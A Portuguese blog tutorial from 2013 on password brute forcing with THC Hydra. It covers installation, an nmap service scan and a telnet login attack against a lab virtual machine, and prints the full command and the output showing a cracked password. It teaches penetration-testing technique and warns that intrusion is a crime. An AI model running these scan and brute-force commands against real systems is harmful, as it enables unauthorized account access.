quinta-feira, 3 de janeiro de 2013

Ataque de brute force com Hydra

Introduçao
Senhas são talvez o elo mais fraco em qualquer sistema de segurança existente hoje em dia. Nem sempre o administrador, que tem conhecimento de questões relacionadas à segurança da informação, pode acompanhar o usuário e garantir que ele faça uma escolha de senha segura. Muitas vezes, nem mesmo quando se define regras para senhas pode-se ter 100% de certeza que uma senha segura será a escolhida.

Por exemplo, imagine que você definiu uma regra que requer que seja escolhida uma senha de no mínimo 8 caracteres, letras maiúsculas e minúsculas e números. Se o seu usuário escolher algo como "Pedro123" você continuará a ter uma senha insegura. Mas o pior lado dessa história é que o atacante também sabe que senhas são inseguras e muito frequentemente se aproveita desse fato para ganhar acesso ilegal ao seu sistema. A técnica mais simples utilizada por usuários maliciosos é o brute forcing. Neste post, vou definir o que é brute force e também vou mostrar a ferramenta THC Hydra utilizada em ataques deste tipo

UM Pouco da Historia


O sistema de login e senha é um dos esquemas de segurança mais antigos e funcionais que existe. A história do uso de senhas é bem antiga, datada da Idade Média onde donos de fortalezas requisitavam uma palavra chave para que as pessoas pudessem entrar quando dissesse a palavra correta. Na década de 60, começaram a intensificar as pesquisas e o desenvolvimento de novas tecnologias. Foi aí que surgiram sistemas operacionais robustos e multiusuários. Para poder diferenciar as pessoas e impedir que qualquer um possa ter acesso aos computadores, cientistas do MIT implementaram o esquema da "palavra chave" para o mundo virtual. Foi aí que surgiram as primeiras telas de login e senha. Mas além de criar um esquema que impeça o uso dos computadores por pessoas não autorizadas, é necessário que haja um mecanismo de autenticação relativamente seguro no momento do login, para que impeça a ação dos mais espertos.

O que é um Brute force


Levando o termo ao pé da letra, significa "força bruta". É um método usado para descobrir senhas a modo bruto, onde é testado todas as combinações possíveis. O atacante usa ferramentas que gera lista de palavras (senhas) a seres testadas no alvo, um exemplo disso é o crunch, onde a ferramenta possibilita a criação de senhas ao nosso modo (somente numeros, somente letras, etc).
Apos a criação da wordlist (Lista de palavras), é hora de usar a ferramenta (THC Hydra) capaz de testar todas as senhas que foram criadas no alvo e caso alguma combinação de senha for aceita, irá exibir o resultado para nós. 

THC Hidra

 A ferramenta foi criada por um grupo de hackers alemão, chamado THC ha alguns anos. A ferramenta aceita os seguintes protocolos.
  • AFP
  • Cisco AAA
  • Cisco auth
  • Cisco enable
  • CVS
  • Firebird
  • FTP
  • HTTP-FORM-GET
  • HTTP-FORM-POST
  • HTTP-GET
  • HTTP-HEAD
  • HTTP-PROXY
  • ICQ
  • IMAP
  • IRC
  • LDAP2
  • LDAP3
  • MS-SQL
  • MYSQL
  • NCP
  • NNTP
  • Oracle
  • Oracle-Listener
  • Oracle-SID
  • PC-Anywhere
  • PCNFS
  • POP3
  • POSTGRES
  • RDP
  • REXEC
  • RLOGIN
  • RSH
  • SAP/R3
  • SIP
  • SMB
  • SMTP
  • SMTP-Enum
  • SNMP
  • SOCKS5
  • SSH(v1 and v2)
  • Subversion
  • Teamspeak (TS2)
  • Telnet (Protocolo que iremos utilizar)
  • VMware-Auth
  • VNC and XMPP.

Existe uma versão gráfica da ferramenta chamada xhydra.

  A distribuição BackTrack já possuí essa ferramenta instalada.




Instalaçao

A instalação do Hydra é bem simples, basta você baixar o pacote aqui.
$ wget http://www.thc.org/releases/hydra-7.2-src.tar.gz
Depois vamos descompactar a pasta.
$ tar -xvzf hydra-7.2-src.tar.gz
Vamos agora entrar na pasta
$ cd hydra-7.2-src
E iniciar a instalação com os comandos abaixo:
$ ./configure
$ make
$ make install

Depois disso, você pode usar o Hydra a vontade. Abaixo um pequeno script que baixa e instala o hydra pra você.
#!/bin/bash
# Por Jarlley Ribeiro @0fx66
echo " [x] Downloading Hydra..."
wget http://www.thc.org/releases/hydra-7.2-src.tar.gz 1> /dev/null 2> /dev/stdout

echo " [x] Unpacking files..."
tar -xvzf hydra-7.2-src.tar.gz 1> /dev/null 2> /dev/stdout
cd hydra-7.2-src 1> /dev/null 2> /dev/stdout

echo " [x] Starting the instalation..."
./configure 1> /dev/null 2> /dev/stdout
make 1> /dev/null 2> /dev/stdout
make install 1> /dev/null 2> /dev/stdout

echo "Run in the terminal: hydra --help for more options..."
Para rodar o script, dê a permissão de execução no arquivo.
$ chmod +x Hydra_install.sh
 
Exemplo de um ataque usando o hidra 


Agora, vamos demonstrar uma ataque a um servidor telnet utilizando o hydra. Primeiro, você deve ter em mãos as seguintes informações:
  • Hydra instalado
  • WordList
  • IP do alvo
Para buscar o IP do alvo, você pode usar o Nmap que realiza um scanner nas porta e mostra pra nós os resultados. Aconselho a usarem a ferramenta em máquinas virtuais, pois invasão é crime ;-)

Para descobrir os serviços em uma determinada máquina, rode no terminal o seguinte comando.
$ nmap -sV Endereço_IP
O resultado será o seguinte:
$ nmap -sV 192.168.1.140

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-25 02:52 UTC
Interesting ports on xpsp0 (192.168.1.140):
Not shown: 993 closed ports
PORT     STATE SERVICE       VERSION
23/tcp   open  telnet        Microsoft Windows XP telnetd
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
1025/tcp open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-term-serv?
5000/tcp open  upnp          Microsoft Windows UPnP
MAC Address: 08:00:27:B1:AF:83 (Cadmus Computer Systems)
Service Info: OSs: Windows XP, Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.54 seconds
Depois de saber que o nosso alvo está On, vamos rodar no terminal o seguinte comando:
$ hydra -s 23 -l ribeiro -P PASSFILE.txt -o LogFile.txt -4 -V 192.168.1.140 telnet
Vamos agora analisar todos os parâmetros passados a ferramenta.
Ps: Usei o máximo de parâmetros para demonstração, mas não é necessário os parâmetros -s, -o -4. Fica a seu critério :-)
  • hydra: Software usado no ataque
  • -s 23: Porta usada (caso o administrador mude)
  • -l ribeiro: O usuário (caso não sabia, use a opção -L com a lista de possíveis nomes)
  • -P PASSFILE.TXT: Lista de possíveis senhas geradas pelo chunch
  • -o LogFile.txt: Log criado com os dados
  • -4: IP versão 4 (caso seja o v6, utilizar "-6") 
  • -V: Modo verbose (mostra o processo rodando)
  • 192.168.1.140: IP do alvo. (Máquina virtual)
  • telnet: Servidor que decidi atacar
É exibido o seguinte:
Hydra v7.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2012-05-25 03:02:16
[WARNING] telnet is by its nature unreliable to analyze reliable, if possible 
better choose FTP or SSH if available
[DATA] 9 tasks, 1 server, 9 login tries (l:1/p:9), ~1 try per task
[DATA] attacking service telnet on port 23
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "111" - 1 of 9 [child 0]
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "222" - 2 of 9 [child 1]
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "333" - 3 of 9 [child 2]
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "444" - 4 of 9 [child 3]
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "555" - 5 of 9 [child 4]
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "666" - 6 of 9 [child 5]
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "777" - 7 of 9 [child 6]
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "888" - 8 of 9 [child 7]
[ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "999" - 9 of 9 [child 8]
[23][telnet] host: 192.168.1.140   login: ribeiro   password: 666
[STATUS] attack finished for 192.168.1.140 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2012-05-25 03:02:19
Podemo ver ali que a senha foi "crackeada".




Vamos agora tentar logar no servidor com a senha que o programa mostrou.



Estamos dentro ;-)
Podemos ver como uma senha "fraca" pode causar, imagina se fosse uma grande empresa?


Referencia Nos Lnks:
← Postagem mais recente Postagem mais antiga → Página inicial

0 comentários:

Postar um comentário

Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86